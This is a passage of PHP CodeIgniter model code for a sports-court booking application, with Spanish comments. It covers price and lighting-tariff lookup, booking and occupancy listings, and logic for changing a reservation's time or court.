$interval=@date($this->config->item('hour_db_format'), strtotime($time)); # Compruebo si hay un horario especial activo para la fecha dada para todas las pistas $sql = "SELECT id_price FROM prices_specials WHERE status = 1 and type = 2 and (id_court = 0 or id_court = ?) and date = ? ORDER BY id_court DESC LIMIT 1"; $query = $this->db->query($sql, array($id, $date)); if($debug) echo '<br>sesion: '.$this->db->last_query(); if ($query->num_rows() > 0) { $row = $query->row(); $id_price=$row->id_price; if($debug) 'tarifa encontrada: '.$id_price; } else { # Compruebo si hay un horario especial activo para una fecha anual para todas las pistas $date_tmp=explode("-", $date); $date_anual='%'.$date_tmp[1]."-".$date_tmp[2]; $sql = "SELECT id_price FROM prices_specials WHERE status = 1 and type = 1 and (id_court = 0 or id_court = ?) and date LIKE ? ORDER BY id_court DESC LIMIT 1"; $query = $this->db->query($sql, array($id, $date_anual)); if($debug) echo '<br>sesion: '.$this->db->last_query(); if ($query->num_rows() > 0) { $row = $query->row(); $id_price=$row->id_price; if($debug) 'tarifa encontrada: '.$id_price; } } # Si no se ha definido el precio con las tablas de tarifas para dias especiales, busco la tarifa de la pista if(!isset($id_price) || $id_price=="") { # Recupero tarifa $sql = "SELECT id_price FROM courts WHERE id = ? LIMIT 1"; $query = $this->db->query($sql, array($id)); //echo $this->db->last_query(); //log_message('debug', 'SQL: '.$this->db->last_query()); if ($query->num_rows() > 0) { //echo "C"; $row = $query->row(); $id_price=$row->id_price; } else return NULL; } //if($debug) exit('--------------------tarifa: '.$id_price); if($debug) print("\r\n".'--------------------tarifa: '.$id_price); if($id_price!="") { if($debug) echo "D"; # Debo comprobar si el dรญa estรก definido como festivo en algรบn calendario para saber quรฉ consulta hacer $datos = array( 'date' => $date, 'time' => $time, 'group' => $group ); if($debug) print_r($datos); $precio = $this->app_common->getPriceValue($id_price, $datos); if($debug) echo "\r\n<br>PRECIO--".$precio; if(!$this->getLightPrice()) $this->price_light = 0; $this->price = $precio; $this->price_court = $precio; //exit(); return TRUE; /* # Si no es festivo $sql = "SELECT prices.quantity, prices.by_group, prices.by_weekday, prices.by_time FROM prices WHERE prices.id = ? and prices.active = '1' and prices.start_date <= ? and prices.end_date >= ? LIMIT 1"; $query = $this->db->query($sql, array($id_price, $date, $date)); if($debug) print_r($query); //log_message('debug', 'SQL: '.$this->db->last_query()); if($debug) echo $this->db->last_query(); if ($query->num_rows() > 0) { if($debug) echo "E"; $row = $query->row(); $quantity = $row->quantity; $by_group = $row->by_group; $by_weekday = $row->by_weekday; $by_time = $row->by_time; if ($by_weekday == '1' && $by_time == '0') { # Si la tarifa es solo de weekday y no de time, busco los registros con weekday='0' $sql2 = "SELECT quantity FROM prices_by_time WHERE id_price = ? and weekday = '0' and start_date <= ? and end_date >= ? and time = ? LIMIT 1"; $query2 = $this->db->query($sql2, array($id_price, $date, $date, $interval)); //log_message('debug', 'SQL: '.$this->db->last_query()); if($debug) echo $this->db->last_query(); $row2 = $query2->row(); $quantity = $row2->quantity; } elseif ($by_weekday == '1' && $by_time == '1' && $by_group == '1') { # Si la tarifa es de weekday y de time, busco los registros con weekday concreto $sql2 = "SELECT quantity FROM prices_by_time WHERE id_price = ? and id_group = ? and weekday = ? and start_date <= ? and end_date >= ? and time = ? order by quantity desc LIMIT 1"; $query2 = $this->db->query($sql2, array($id_price, $group, $weekday, $date, $date, $interval)); //log_message('debug', 'SQL: '.$this->db->last_query()); if($debug) echo $this->db->last_query(); $row2 = $query2->row(); if($debug) print_r($row2); if($debug) print_r($query2->result_array()); $quantity = $row2->quantity; if($debug) echo 'Precio obtenido: '.$quantity; } elseif ($by_weekday == '0' && $by_time == '1' && $by_group == '1') { # Si la tarifa es de weekday y de time, busco los registros con weekday concreto $sql2 = "SELECT quantity FROM prices_by_time WHERE id_price = ? and id_group = ? and weekday = 0 and start_date <= ? and end_date >= ? and time = ? order by quantity desc LIMIT 1"; $query2 = $this->db->query($sql2, array($id_price, $group, $date, $date, $interval)); //log_message('debug', 'SQL: '.$this->db->last_query()); if($debug) echo $this->db->last_query(); $row2 = $query2->row(); $quantity = $row2->quantity; } elseif ($by_weekday == '1' && $by_time == '1' && $by_group == '0') { # Si la tarifa es de weekday y de time, busco los registros con weekday concreto $sql2 = "SELECT quantity FROM prices_by_time WHERE id_price = ? and weekday = ? and start_date <= ? and end_date >= ? and time = ? order by quantity desc LIMIT 1"; $query2 = $this->db->query($sql2, array($id_price, $weekday, $date, $date, $interval)); //log_message('debug', 'SQL: '.$this->db->last_query()); //echo $this->db->last_query(); $row2 = $query2->row(); $quantity = $row2->quantity; } elseif($by_group == '1') { # Si la tarifa es de grupos, busco los registros en la tabla adecuada $sql2 = "SELECT quantity FROM prices_by_group WHERE id_price = ? and id_group = ? and start_date <= ? and end_date >= ?"; $query2 = $this->db->query($sql2, array($id_price, $group, $date, $date)); //echo $this->db->last_query(); $row2 = $query2->row(); $quantity = $row2->quantity; } if(!$this->getLightPrice()) $this->price_light = 0; $this->price = $quantity; $this->price_court = $quantity; //echo "<br>--".$quantity; exit(); return TRUE; } else return NULL; //date('H:i', strtotime($row->interval)) */ # Si es festivo # ... } else return NULL; } ############################################################################## function getLightPrice() { # Devuelve precio de la luz para el intervalo del dรญa para la pista solicitada //echo "A"; if(!$this->date || !$this->intervalo) return NULL; $this->CI =& get_instance(); $this->CI->load->model('Pistas_model', 'pistas', TRUE); //echo "B"; $id = $this->court; $date = $this->date; $time = $this->intervalo; $group = $this->group; if(!isset($group)) $group = 9; $weekday=@date('N', strtotime($date)); $interval=@date($this->config->item('hour_db_format'), strtotime($time)); # Recupero tarifa $id_price=$this->CI->pistas->getCourtLightPrice($id); if($id_price!="") { //echo "D"; # Debo comprobar si el dรญa estรก definido como festivo en algรบn calendario para saber quรฉ consulta hacer $datos = array( 'date' => $date, 'time' => $time, 'group' => $group ); $precio = $this->app_common->getPriceValue($id_price, $datos); $this->price_light = $precio; //echo "<br>--".$quantity; return TRUE; /* # Si no es festivo $sql = "SELECT prices.quantity, prices.by_group, prices.by_weekday, prices.by_time FROM prices WHERE prices.id = ? and prices.active = '1' and prices.start_date <= ? and prices.end_date >= ? LIMIT 1"; $query = $this->db->query($sql, array($id_price, $date, $date)); //log_message('debug', 'SQL: '.$this->db->last_query()); //echo $this->db->last_query(); if ($query->num_rows() > 0) { //echo "E"; $row = $query->row(); $quantity = $row->quantity; $by_group = $row->by_group; $by_weekday = $row->by_weekday; $by_time = $row->by_time; if ($by_weekday == '1' && $by_time == '0') { # Si la tarifa es solo de weekday y no de time, busco los registros con weekday='0' $sql2 = "SELECT quantity FROM prices_by_time WHERE id_price = ? and weekday = '0' and start_date <= ? and end_date >= ? and time = ?"; $query2 = $this->db->query($sql2, array($id_price, $date, $date, $interval)); //log_message('debug', 'SQL: '.$this->db->last_query()); //echo $this->db->last_query(); $row2 = $query2->row(); $quantity = $row2->quantity; } elseif ($by_weekday == '1' && $by_time == '1' && $by_group == '1') { # Si la tarifa es de weekday y de time, busco los registros con weekday concreto $sql2 = "SELECT quantity FROM prices_by_time WHERE id_price = ? and id_group = ? and weekday = ? and start_date <= ? and end_date >= ? and time = ?"; $query2 = $this->db->query($sql2, array($id_price, $group, $weekday, $date, $date, $interval)); //log_message('debug', 'SQL: '.$this->db->last_query()); //echo $this->db->last_query(); $row2 = $query2->row(); $quantity = $row2->quantity; } elseif ($by_weekday == '1' && $by_time == '1' && $by_group == '0') { # Si la tarifa es de weekday y de time, busco los registros con weekday concreto $sql2 = "SELECT quantity FROM prices_by_time WHERE id_price = ? and weekday = ? and start_date <= ? and end_date >= ? and time = ?"; $query2 = $this->db->query($sql2, array($id_price, $weekday, $date, $date, $interval)); //log_message('debug', 'SQL: '.$this->db->last_query()); //echo $this->db->last_query(); $row2 = $query2->row(); $quantity = $row2->quantity; } elseif($by_group == '1') { # Si la tarifa es de grupos, busco los registros en la tabla adecuada $sql2 = "SELECT quantity FROM prices_by_group WHERE id_price = ? and id_group = ? and start_date <= ? and end_date >= ?"; $query2 = $this->db->query($sql2, array($id_price, $group, $date, $date)); //echo $this->db->last_query(); $row2 = $query2->row(); $quantity = $row2->quantity; } $this->price_light = $quantity; //echo "<br>--".$quantity; return TRUE; } else return NULL; //date('H:i', strtotime($row->interval)) # Si es festivo # ... */ } else return NULL; } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que devuelve listado de todas las reservas UNIFICADAS, en formato array, # ------------------------------------------------------------------- public function get_last_bookings($filters = NULL, $order = NULL, $orderway = NULL , $limit = NULL) { $this->load->model('Pistas_model', 'pistas', TRUE); $records = $this->get_global_list($filters, $order, $orderway, $limit ); $min_time=""; $max_time=""; $precio=0; $registro = array(); foreach ($records['records']->result() as $row) { if(!isset($transaccion) || $transaccion=="") $transaccion = $row->id_transaction; //echo $row->id_transaction.' # ' .$transaccion.'<br>'; if($transaccion != $row->id_transaction && $transaccion!="") { #Sรณlo si se ha cambiado de Id de transacciรณn $record_items[] = $registro; //print("<pre>"); print_r($registro); $registro=array(); $min_time=""; $max_time=""; $precio=0; $transaccion = $row->id_transaction; } // ojo, las imรกgenes tienen que ser png //modificar mas adelante aรฑadiendo un campo en BBDD $paint_status = ''; if ($row->status_desc == '') $paint_status=''; else $paint_status = img(array('src'=>'images/'.$row->status_desc.'.png', "align"=>"absmiddle", "border"=>"0", "title"=>$this->lang->line($row->status_desc))); if($row->no_cost==0) $no_cost=''; else $no_cost=img( array('src'=>'images/accept.png', "align"=>"absmiddle", "border"=>"0")); if($row->id_user) $usuario = $row->first_name.' '.$row->last_name.'('.$row->phone.')'; else $usuario = $row->user_desc.'('.$row->user_phone.')'; if(trim($usuario)=="") $usuario="No registrado"; $reserve_interval = $this->pistas->getCourtInterval($row->id_court); $time=$row->intervalo; $precio+=$row->price; if($min_time=="" || $min_time > $row->intervalo) $min_time = date('H:i', strtotime($time)); if($max_time=="" || $max_time < $row->intervalo) $max_time = date('H:i', strtotime($time)+($reserve_interval * 60)); # Definicion de los botones /*$butt_array=array(); if($row->status != 9) array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Marcar la reserva como iniciada\');"><img id="activar" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/accept.png\'></a>'); if($row->status != 9) { array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Modificar la reserva\');" ><img value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/refresh.png\'></a>'); } if($row->status != 9) array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Eliminar la reserva\');"><img border=\'0\' src=\''.$this->config->item('base_url').'images/close.png\'></a>'); //$buttons=implode(' ', $butt_array);*/ //NUEVOS BOTONES //if ($row->status == 9) $button_validate= '<img id="validar" "title"="Validar Reserva" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/accept.png\'>'; //else $button_validate = "-"; if ($row->price_light > 0) { $img_light= '<img id="luz" "title"="Luz contratada" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/luz.png\'>'; $button_light = '-'; } else { $img_light= '<img id="no_luz" "title"="Luz no contratada" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/luz_no.png\'>'; $button_light = '<img id="luz" "title"="Luz contratada" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/luz.png\'>'; } $button_cancel= '<img id="cancelar" "title"="Cancelar Reserva" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/close.png\'>'; $button_change= '<a href="javascript:modificarReserva(\''.$row->id_transaction.'\',\''.$min_time.'\',\''.$max_time.'\');"><img id="modificar" "title"="Modificar Reserva" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/refresh.png\'></a>'; //$button_change= if ($row->status < 9) $button_payment= '<img id="payment" "title"="Cobrar Reserva" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/coins.png\'>'; else $button_payment = '-'; $registro = array( $row->id_transaction, $row->id_booking, date($this->config->item('reserve_date_filter_format') ,strtotime($row->fecha)), $min_time, $max_time, $row->court_name, $img_light, $paint_status, $this->lang->line($row->paymentway_desc)!="" ? $this->lang->line($row->paymentway_desc) : '-', $row->id_user, $usuario, $precio, $no_cost, //$button_validate, $button_cancel, $button_change, $button_payment, $button_light ); //print("<pre>");print_r($row);print("</pre>"); //$record_items[] = $registro; } $record_items[] = $registro; //print("<pre>");print_r($record_items);print("</pre>"); return $record_items; } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que devuelve listado de todas las reservas # ------------------------------------------------------------------- public function get_listall() { $add_where=$this->session->flashdata('where'); return $this->get_global_list($add_where); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que devuelve listado de todas las reservas del dรญa actual # ------------------------------------------------------------------- public function get_list_by_day($date = NULL) { $this->CI =& get_instance(); //Select table name $table_name = "booking"; //Build contents query $this->db->select('id_booking, date, intervalo, courts.name, no_cost, status, price, id_user, user_desc')->from($table_name); $this->CI->flexigrid->build_query(); $this->db->join('courts', 'courts.id=booking.id_court'); if (isset($date) && trim($date)!="") $this->db->where('date', $date); $add_where=$this->session->flashdata('where'); log_message('debug', 'WHERE--: '.$add_where); if (isset($add_where) && trim($add_where)!="") $this->db->where($add_where); //Get contents $return['records'] = $this->db->get(); //echo "AAAAAA".$this->db->last_query()."CCCCCCCCCCC"; log_message('debug', 'SQL: '.$this->db->last_query()); //Build count query $this->db->select('count(id_booking) as record_count')->from($table_name); $this->CI->flexigrid->build_query(FALSE); $this->db->join('courts', 'courts.id=booking.id_court'); if (isset($date) && trim($date)!="") $this->db->where('date', $date); //log_message('debug', 'WHERE: '.$add_where); if (isset($add_where) && trim($add_where)!="") $this->db->where($add_where); $record_count = $this->db->get(); $row = $record_count->row(); //Get Record Count $return['record_count'] = $row->record_count; //print("<pre>");print_r($return); //Return all return $return; } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que devuelve listado de todas las reservas # ------------------------------------------------------------------- public function get_global_list($filters="", $orderby="", $orderbyway="", $limit="", $flexigrid=FALSE) { $this->CI =& get_instance(); //Select table name $table_name = "booking"; //Build contents query $this->db->select('booking.id as id, id_booking, id_transaction, id_user, session, id_court, `date` as fecha, '. 'intervalo, `status`, id_paymentway, price, no_cost, no_cost_desc, booking.user_desc, user_phone, '. 'booking.create_user as create_user, booking.create_time as create_time, booking.modify_user as modify_user, '. 'booking.modify_time as modify_time, courts.name as court_name, meta.first_name as first_name, '. 'meta.last_name as last_name, meta.phone as phone, zz_booking_status.description as status_desc, '. 'zz_paymentway.description as paymentway_desc, booking.price_light as price_light, booking.price_court as price_court', FALSE)->from($table_name); if($flexigrid) $this->CI->flexigrid->build_query(); //$this->CI->flexigrid->build_query(); $this->db->join('courts', 'courts.id=booking.id_court', 'left outer'); $this->db->join('meta', 'booking.id_user=meta.user_id', 'left outer'); $this->db->join('zz_booking_status', 'booking.status=zz_booking_status.id', 'left outer'); $this->db->join('zz_paymentway', 'booking.id_paymentway=zz_paymentway.id', 'left outer'); if (isset($filters) && trim($filters)!="") $this->db->where($filters); if (isset($orderby) && trim($orderby)!="" && isset($orderbyway) && trim($orderbyway)!="") $this->db->order_by($orderby, $orderbyway); if (isset($limit) && trim($limit)!="") $this->db->limit($limit); //Get contents $return['records'] = $this->db->get(); //echo "A<br>A<br>A<br>A<br>A<br>A".$this->db->last_query()."CCCCCCCCCCC"; log_message('debug', 'SQL: '.$this->db->last_query()); //Build count query # Para devolver el numero de registros $this->db->select('count(id_booking) as record_count')->from($table_name); $this->db->join('courts', 'courts.id=booking.id_court', 'left outer'); if (isset($filters) && trim($filters)!="") $this->db->where($filters); if (isset($orderby) && trim($orderby)!="" && isset($orderbyway) && trim($orderbyway)!="") $this->db->order_by($orderby, $orderbyway); if (isset($limit) && trim($limit)!="") $this->db->limit($limit); $record_count = $this->db->get(); $row = $record_count->row(); //Get Record Count $return['record_count'] = $row->record_count; //Return all return $return; } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que devuelve listado agrupado por pistas, para ocupacion # ------------------------------------------------------------------- public function get_court_ocupation($filters="") { //Select table name $table_name = "courts"; //Build contents query $this->db->select('id_court, courts.name as court, `date` as date, sum(price-(no_cost*price)) as cobrado, sum(price) as facturable, count(courts.id) as intervalos', FALSE)->from($table_name); $this->db->join('booking', 'courts.id=booking.id_court', 'left outer'); $this->db->where('(booking.status > 5 OR booking.status is null)'); $this->db->where('courts.active > 0'); if (isset($filters) && trim($filters)!="") $this->db->where($filters); $this->db->group_by(array("id_court", "date", "courts.name")); $this->db->order_by('id_court, date', 'ASC'); //Get contents $return['records'] = $this->db->get(); //echo "A<br>A<br>A<br>A<br>A<br>A".$this->db->last_query()."CCCCCCCCCCC"; //log_message('debug', 'SQL: '.$this->db->last_query()); //Build count query //Return all return $return; } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que devuelve la mayor fecha de reserva hecha # ------------------------------------------------------------------- public function get_max_booking_date($filters="") { //Select table name $table_name = "booking"; //Build contents query $this->db->select('max(`date`) as date', FALSE)->from($table_name); //Get contents $query = $this->db->get(); foreach ($query->result() as $row) { $fecha = $row->date; } //echo "A<br>A<br>A<br>A<br>A<br>A".$this->db->last_query()."CCCCCCCCCCC"; //log_message('debug', 'SQL: '.$this->db->last_query()); //Build count query //Return all return $fecha; } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que devuelve listado agrupado por pistas, para ocupacion # ------------------------------------------------------------------- public function get_complete_court_ocupation($fecha1=NULL, $fecha2=NULL, $hora1=NULL, $hora2=NULL) { $this->CI =& get_instance(); $this->load->model('Pistas_model', 'pistas', TRUE); $pistas=$this->pistas->getAvailableCourtsArray('',''); //print_r($pistas); if(!isset($fecha1) || !isset($fecha2)) return NULL; $filters="(`date` >= '".$fecha1."' OR `date` IS NULL) AND (`date` <= '".$fecha2."' OR `date` IS NULL)"; if(isset($hora1) && $hora1!="") $filters .= "AND (intervalo >= '".$hora1."' OR intervalo IS NULL)"; else $filters .= "AND (intervalo >= '00:00:00' OR intervalo IS NULL)"; if(isset($hora2) && $hora2!="") $filters .= "AND (intervalo <= '".$hora2."' OR intervalo IS NULL)"; else $filters .= "AND (intervalo <= '23:59:59' OR intervalo IS NULL)"; $this->CI =& get_instance(); $ocupacion = $this->get_court_ocupation($filters); //print("aaaaaaaaaa<pre>");print_r($ocupacion['records']->result_array());print('BBBBB<br>'); $resultado=array(); $pista=""; foreach($pistas as $code => $pista) { if($code!='') $resultado[$code]=array('id' => $code, 'name' => $pista, 'total_horas' => 0, 'total_facturado' => 0, 'total_facturable' => 0, 'maximo_horas' => 0); } foreach ($ocupacion['records']->result() as $row) { if($pista=="" || $pista != $row->id_court) { $pista = $row->id_court; $resultado[$row->id_court]=array('id' => $row->id_court, 'name' => $row->court, 'total_horas' => 0, 'total_facturado' => 0, 'total_facturable' => 0, 'maximo_horas' => 0); } $resultado[$row->id_court]['total_horas'] += number_format(($row->intervalos / 2), 2); $resultado[$row->id_court]['total_facturado'] += ($row->cobrado); $resultado[$row->id_court]['total_facturable'] += ($row->facturable); # Cargo valores de las propiedades del modelo $this->date=$row->date; $this->court=$row->id_court; $this->CI->pistas->id=$row->id_court; } //print("aa<pre>");print_r($resultado);//exit(); foreach($resultado as $pista) { #Recorro todo el intervalo de dias del rango para calcular las horas totales que se podรญan haber alquilado $fecha=$fecha1; while($fecha<=$fecha2) { # Calculo de horas disponibles por pista y dia $this->getSpecialTimetableByCourt(); //print("a");print_r($this->reservas->availability); if(!$this->availability) $this->getSpecialTimetable(); //print("b");print_r($this->reservas->availability); if(!$this->availability) $this->availability=$this->CI->pistas->getTimetable($fecha); $total_horas=0; //print("c - ".$hora1.' - '.$hora2);print_r($this->availability); #Sumo 1 (osea, la disponibilidad, si estรก disponible.. osea $valie[1], si la hora estรก dentro del rango foreach($this->availability as $inte => $value) if($value[0] >= $hora1 && $value[0] < $hora2) {$total_horas+=$value[1]; } //print("<pre>");print_r($this->availability); //echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".$total_horas; $resultado[$pista['id']]['maximo_horas'] +=($total_horas/2); $fecha=date($this->config->item('date_db_format'), strtotime($fecha . " +1 day")); //echo $fecha; } //print_r($row); } //print("<pre>");print_r($resultado); return $resultado; } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que devuelve listado agrupado por pistas, para ocupacion # ------------------------------------------------------------------- public function change_reserve($id_transaction_old, $hora_inicio = NULL, $minuto_inicio = NULL, $hora_fin = NULL, $minuto_fin = NULL) { log_message('debug', 'Datos recibidos-> id_transaction: '.$id_transaction_old.'; intervalo: '.$intervalo.'; hora inicio: '.$hora_inicio.'; minuto inicio: '.$minuto_inicio.'; Fecha: '.$fecha.'; Id_court: '.$id_court); $this->load->model('Pistas_model', 'pistas', TRUE); $this->load->model('Reservas_model', 'reservas', TRUE); //CALCULO DIFERENCIA ENTRE FECHAS PARA CONOCER INTERVALOS $result_message = ''; $result = false; if(!isset($hora_inicio) || !isset($hora_fin)) return NULL; $hora_total_ini = ($hora_inicio * 60) + $minuto_inicio; $hora_total_fin = ($hora_fin * 60) + $minuto_fin; $minutos_dif = $hora_total_fin - $hora_total_ini; $id_court = null; $fecha_reserva = null; $id_user = null; $status = null; $id_paymentway = null; $info=$this->reservas->getBookingInfoById($id_transaction_old); $reserve_interval = $this->pistas->getCourtInterval($info['id_court']); //$reserve_interval = $this->config->item('reserve_interval'); //COMPRUEBO QUE LAS HORAS SON CORRECTAS if ($hora_total_fin > $hora_total_ini) { if (($minutos_dif % $reserve_interval) == 0) { //CALCULO LOS INTERVALOS (REGISTROS BOOKING) $intervalos = ($minutos_dif / $reserve_interval); //CALCULO INTERVALOS ORIGINALES $sql_select_interv = "SELECT * FROM booking ". "WHERE ID_TRANSACTION = ?"; $query = $this->db->query($sql_select_interv, array($id_transaction_old)); $intervalos_old = $query->num_rows(); //SI EL CAMBIO NO ES DEL MISMO TIEMPO SE CANCELA if ($intervalos_old == $intervalos) { if ($intervalos_old > 0) { foreach ($query->result() as $row) { /* RELLENO EL ARRAY CON LOS DATOS DEL GRUPO */ $array_all[$row->id] = array( 'id' => $row->id, 'id_booking' => $row->id_booking, 'id_user' => $row->id_user, 'id_court' => $row->id_court, 'date' => $row->date, 'intervalo' => $row->intervalo, 'status' => $row->status, 'id_paymentway' => $row->id_paymentway, 'price' => $row->price, 'no_cost' => $row->no_cost, 'no_cost_desc' => $row->no_cost_desc, 'user_nif' => $row->user_nif, 'user_desc' => $row->user_desc, 'user_phone' => $row->user_phone, 'id_transaction' => $row->id_transaction, 'booking_code' => $row->booking_code); $fecha_reserva = $row->date; $id_court = $row->id_court; $id_user = $row->id_user; $status = $row->status; $price_light = $row->price_light; log_message('debug', 'Precio de la luz de segmento: '.$price_light); $id_paymentway = $row->id_paymentway; } log_message('debug', 'Precio de la luz general: '.$price_light); //CHEQUEO DISPONIBILIDAD DE LA NUEVA RESERVA //RELLENO CAMPOS NECESARIOS $this->court = $id_court; $this->id_transaction = $id_transaction_old; $this->date = $fecha_reserva; //debug.log_message('debug','Fecha Reserva: '.$fecha_reserva); $result_availability = true; for ($i = 0 ; $i < $intervalos ; $i ++) { $suma_minutos = ($i * $reserve_interval) + $minuto_inicio; //relleno los campos necesarios para chequear disponibilidad $this->intervalo = date('H:i',mktime($hora_inicio,$suma_minutos,0,1,1,1998)); //$this->intervalo = $intervalo_reserva; if (!$this->checkExactAvailabilityChange()) { log_message('debug', 'No hay disponibilidad para el intervalo '.$this->intervalo); $result_message = 'No hay disponibilidad para el intervalo '.$this->intervalo; $result_availability = false; return $result_message; } } //log_message('debug', 'ID_PAYMENT='.$id_paymentway); //SI HAY DISPONIBILIDAD INSERTO VALORES $sesion_insert = str_replace('{{slash}}', '\\',$this->session->userdata('session_id')); $id_transaction_new = $sesion_insert.$this->court."-".date('U', strtotime($this->date." ".$this->intervalo)); //&calculate_prices = false; for ($i = 0 ; $i < $intervalos ; $i ++) { $suma_minutos = ($i * $reserve_interval) + $minuto_inicio; //relleno los campos necesarios para chequear disponibilidad $this->intervalo = date('H:i',mktime($hora_inicio,$suma_minutos,0,1,1,1998)); //debug.log_message('debug','Intervalo: '.$this->intervalo); //INSERTO VALORES if ($this->getPrice()) { if($price_light != 0) $price_light = $this->price_light; else $price_light = 0; log_message('debug', 'Precio de la luz antes de grabar: '.$price_light); $data = array( 'id_booking' => $this->court."-".date('U', strtotime($this->date." ".$this->intervalo)), //PREGUNTAR SI EL ID ES NUEVO O NO 'id_transaction' => $id_transaction_new, 'booking_code' => $this->app_common->reserve_encode($this->session->userdata('idTransaction')), 'id_user' => $id_user, 'id_court' => $this->court, 'date' => $this->date, 'session' => $sesion_insert, 'intervalo' => $this->intervalo, //codigo comentado, bbdd desactualizada 'price' => $this->price, 'price_light' => $price_light, 'price_court' => $this->price_court, 'id_paymentway' => $id_paymentway, /*'price_supl1' => 0, 'price_supl2' => 0, 'price_supl3' => 0, 'price_supl4' => 0, 'price_supl5' => 0,*/ 'status' => $status, 'create_user' => $this->session->userdata('user_id'), 'create_time' => date(DATETIME_DB)); # Si el status es mayor que cero, marco la reserva... Si no, solo ejecuto la funcionalidad de marcar en sesion $this->db->insert('booking', $data); log_message('debug', 'SQL: '.$this->db->last_query()); } else { log_message('debug', 'No se han encontrado precios para el intervalo:'.$this->intervalo); $result_message = "No se han encontrado precios para el intervalo: $this->intervalo"; return $result_message; } } //UNA VEZ INSERTADOS LOS REGISTROS NUEVOS, BORRO LOS ANTERIORES if ($this->cancel_reserve($id_transaction_old, 'Cancelacion por cambio de horas')) { log_message('debug', 'Ok..'); $result_message = "ok|".$id_transaction_new; } else { log_message('debug', 'Importante: La reserva anterior no se ha borrado'); $result_message = "Importante: La reserva anterior no se ha borrado"; return $result_message; } } else { log_message('debug', 'La reserva no tenรญa pistas seleccionadas'); $result_message = 'La reserva no tenรญa pistas seleccionadas'; } } else { log_message('debug', 'No coincide el mismo tiempo de reserva'); $result_message = 'No coincide el mismo tiempo de reserva'; return $result_message; } } else { log_message('debug', 'Las horas introducidas no corresponden con ningรบn horario'); $result_message = 'Las horas introducidas no corresponden con ningรบn horario'; return $result_message; } } else { //HORA FIN MENOR HORA INICIO log_message('debug', 'La hora de inicio debe ser mayor que la hora de fin'); $result_message = 'La hora de inicio debe ser mayor que la hora de fin'; return $result_message; } return $result_message; } ############################################################################## # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion que devuelve listado agrupado por pistas, para ocupacion # ------------------------------------------------------------------- public function change_reserve_get($id_transaction_old, $intervalo, $hora_inicio = NULL, $minuto_inicio = NULL, $fecha = NULL, $id_court = NULL) { log_message('debug', 'Datos recibidos-> id_transaction: '.$id_transaction_old.'; intervalo: '.$intervalo.'; hora inicio: '.$hora_inicio.'; minuto inicio: '.$minuto_inicio.'; Fecha: '.$fecha.'; Id_court: '.$id_court); $this->load->model('Pistas_model', 'pistas', TRUE); $this->load->model('Reservas_model', 'reservas', TRUE); //CALCULO DIFERENCIA ENTRE FECHAS PARA CONOCER INTERVALOS $result_message = ''; $result = false; $hora_total_ini = ($hora_inicio * 60) + $minuto_inicio; $fecha_reserva = null; $id_user = null; $status = null; $id_paymentway = null; //$reserve_interval = $this->config->item('reserve_interval'); $info=$this->reservas->getBookingInfoById($id_transaction_old); $reserve_interval = $this->pistas->getCourtInterval($info['id_court']); if (($minuto_inicio % $reserve_interval) == 0) { //CALCULO DATOS ORIGINALES $this->db->select('*, MIN(INTERVALO) AS intervalo_ini, MAX(INTERVALO) AS intervalo_fin, count(*) num_intervalos', FALSE)->from('booking'); $this->db->where('id_transaction',$id_transaction_old); $this->db->group_by('id_transaction', 'asc'); $record = $this->db->get(); if ($record->num_rows() > 0) { //log_message('debug', 'SQL: '.$this->db->last_query()); $row = $record->row(); //Almaceno los datos que necesito //SI EL CAMBIO NO ES DEL MISMO TIEMPO SE CANCELA /* RELLENO EL ARRAY CON LOS DATOS DEL GRUPO */ $array_booking = Array( 'id' => $row->id, 'id_booking' => $row->id_booking, 'id_user' => $row->id_user, 'id_court' => $row->id_court, 'date' => $row->date, 'intervalo' => $row->intervalo_ini, 'status' => $row->status, 'id_paymentway' => $row->id_paymentway, 'price' => $row->price, 'no_cost' => $row->no_cost, 'no_cost_desc' => $row->no_cost_desc, 'user_nif' => $row->user_nif, 'user_desc' => $row->user_desc, 'user_phone' => $row->user_phone, 'id_transaction' => $row->id_transaction, 'booking_code' => $row->booking_code, 'intervalo_fin' => $row->intervalo_fin, 'num_intervalos' => $row->num_intervalos); $fecha_reserva_old = $row->date; $id_court_old = $row->id_court; $id_user = $row->id_user; $status = $row->status; $id_paymentway = $row->id_paymentway; $new_day = false; //CHEQUEO DISPONIBILIDAD DE LA NUEVA RESERVA //RELLENO CAMPOS NECESARIOS //$array_booking = $array_booking_ini[0]; $suma_minutos_final = ($array_booking['num_intervalos'] * $reserve_interval) + $minuto_inicio; $intervalo_final = date('H:i',mktime($hora_inicio,$suma_minutos_final,0,1,1,1998)); //Compruebo si la nueva reserva cambia de dรญa y de pista o no coinciden los horarios if ($id_court_old != $id_court) { $new_day = true; } else if ($fecha != $fecha_reserva_old) { $new_day = true; } else if (($intervalo > $array_booking['intervalo_fin']) && ($intervalo_final < $array_booking['intervalo_ini'])) { $new_day = true; } //chequeo normal $this->court = $id_court; $this->id_transaction = $id_transaction_old; $this->date = $fecha; $this->intervalo = $intervalo; //primero chequeo que estรฉ disponible la nueva fecha for ($i = 0 ; $i < $array_booking['num_intervalos']; $i ++) { $suma_minutos = ($i * $reserve_interval) + $minuto_inicio; //relleno los campos necesarios para chequear disponibilidad $this->intervalo = date('H:i',mktime($hora_inicio,$suma_minutos,0,1,1,1998)); //$this->intervalo = $intervalo_reserva; //chequeo si coincide el intervalo con la reserva anterior if 